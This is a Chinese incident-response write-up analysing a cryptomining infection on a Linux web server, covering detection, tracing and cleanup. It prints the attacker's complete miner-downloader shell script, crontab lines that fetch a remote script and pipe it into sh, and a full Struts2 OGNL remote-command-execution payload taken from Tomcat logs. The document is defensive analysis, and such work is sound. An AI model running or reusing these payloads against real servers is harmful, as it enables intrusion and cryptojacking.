第3篇：挖矿病毒

0x00 前言

随着虚拟货币的疯狂炒作，利用挖矿脚本来实现流量变现，使得挖矿病毒成为不法分子利用最为频繁的攻击方式。新的挖矿攻击展现出了类似蠕虫的行为，并结合了高级攻击技术，以增加对目标服务器感染的成功率，通过利用永恒之蓝（EternalBlue）、web攻击多种漏洞（如Tomcat弱口令攻击、Weblogic WLS组件漏洞、Jboss反序列化漏洞、Struts2远程命令执行等），导致大量服务器被感染挖矿程序的现象 。

0x01 应急场景

某天，安全管理员在登录安全设备巡检时，发现某台网站服务器持续向境外IP发起连接，下载病毒源：

C	D	E	F
威胁描述	源 IP	目标 IP	URL
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker
Dangerous URL in Web Reputation S	172.27.99.129	5.188.87.12	http://5.188.87.12/icons/kworker

0x02 事件分析

A、排查过程

登录服务器，查看系统进程状态，发现不规则命名的异常进程、异常下载进程 :

```
WW-[redacted]T-W[redacted]1:/var/tmp # netstat -anplt|grep 93011
tcp        0      0 127.0.0.1:1757          0.0.0.0:*               LISTEN      93011/5m34wiu4tjq3b
tcp        0      0 172.27.99.129:52190     103.55.25.90:80         ESTABLISHED 93011/5m34wiu4tjq3b
```

```
WW-[redacted]-W[redacted]1:/proc/91158 # ps aux |grep wget
root     94813  0.0  0.0  11288  1304 ?        Ss   19:40   0:00 /bin/sh -c wget -O - -q http://5.188.87.11/icons/logo.jpg|sh
root     94826  0.0  0.0  18732  1528 ?        S    19:40   0:00 wget -O /var/tmp/atd http://5.188.87.12/icons/kworker
root     94955  0.0  0.0  18732  1532 ?        S    19:41   0:00 wget -O /var/tmp/wcubpiztlk.conf http://5.188.87.12/icons/kworker.conf
root     94998  0.0  0.0   4520   540 pts/2    S+   19:41   0:00 grep wget
```

下载logo.jpg，包含脚本内容如下：

logo.jpg

```
#!/bin/sh
rm -rf /var/tmp/laqzdbgiuz.conf
ps auxf|grep -v grep|grep -v wcubpiztlk|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "laqzdbgiuz"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "wcubpiztlk" -e "slxfbkmxtd" -e "jvdxbsjgds" -e "mgeflshghx" -e "kzpprqvhov" -e "qupjjxbnwm"|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /var/tmp/wcubpiztlk.conf
rm -rf /var/tmp/wcubpiztlk.conf
curl -o /var/tmp/wcubpiztlk.conf http://5.188.87.12/icons/kworker.conf
wget -O /var/tmp/wcubpiztlk.conf http://5.188.87.12/icons/kworker.conf
chmod 777 /var/tmp/atd
rm -rf /var/tmp/atd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/atd http://5.188.87.12/icons/kworker
wget -O /var/tmp/atd http://5.188.87.12/icons/kworker
else
curl -o /var/tmp/atd http://5.188.87.12/icons/kworker_na
wget -O /var/tmp/atd http://5.188.87.12/icons/kworker_na
fi
chmod +x /var/tmp/atd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
nohup ./atd -c wcubpiztlk.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi
```

到这里，我们可以发现攻击者下载logo.jpg并执行了里面了shell脚本，那这个脚本是如何启动的呢?

通过排查系统开机启动项、定时任务、服务等，在定时任务里面，发现了恶意脚本，每隔一段时间发起请求下载病毒源，并执行 。

```
WW-[redacted]:/ # crontab -l
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Sun Oct 15 21:02:03 2017)
# (Cron version V5.0 -- $Id: crontab.c,v 1.12 2004/01/23 18:56:42 vixie Exp $)
*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh
*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh
```

B、溯源分析

在Tomcat log日志中，我们找到这样一条记录:

```
WW-[redacted]:/data/[redacted]/tomcat/logs # grep -rn  "5.188.87.11" *
catalina.out:441350:org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh\n*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh" | crontab -;wget -O - -q http://5.188.87.11/icons/logo.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
```

对日志中攻击源码进行摘录如下:

```
{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#cmd='echo "*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh\n*/19 * *
* * * curl http://5.188.87.11/icons/logo.jpg|sh" | crontab -;wget -O - -q
http://5.188.87.11/icons/logo.jpg|sh').(#iswin=
(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=
(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
```

```
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=
(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())}
```

可以发现攻击代码中的操作与定时任务中异常脚本一致，据此推断黑客通过Struct 远程命令执行漏洞向服务器定时任务中写入恶意脚本并执行。

C、清除病毒

1、删除定时任务:

```
WW-[redacted]:/ # crontab -l
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Sun Oct 15 21:02:03 2017)
# (Cron version V5.0 -- $Id: crontab.c,v 1.12 2004/01/23 18:56:42 vixie Exp $)
*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh
*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh
WW-[redacted]:/ #
You have new mail in /var/mail/root
WW-[redacted]:/ #
WW-[redacted]:/ # crontab -r
WW-[redacted]:/ # crontab -l
no crontab for root
```

2、终止异常进程:

```
WW-[redacted]:/ # netstat -anplt|grep 99779
tcp        0      0 127.0.0.1:1757          0.0.0.0:*               LISTEN      99779/csg4mcb4njc3d
tcp        0      0 172.27.99.129:53841     103.55.25.90:80         ESTABLISHED 99779/csg4mcb4njc3d
WW-[redacted]:/ #
WW-[redacted]:/ # kill -9 99779
WW-[redacted]:/ #
WW-[redacted]:/ # netstat -anplt|grep 99779
WW-[redacted]:/ #
```

D、漏洞修复

升级struts到最新版本

0x03 防范措施

针对服务器被感染挖矿程序的现象，总结了几种预防措施：

1、安装安全软件并升级病毒库，定期全盘扫描，保持实时防护
2、及时更新 windows安全补丁，开启防火墙临时关闭端口
3、及时更新web漏洞补丁，升级web组件

后续持续更新内容，将发布在公众号Bypass--，同时公众号提供了该项目的PDF版本，关注后回复"应急响应" 即可下载。


Bypass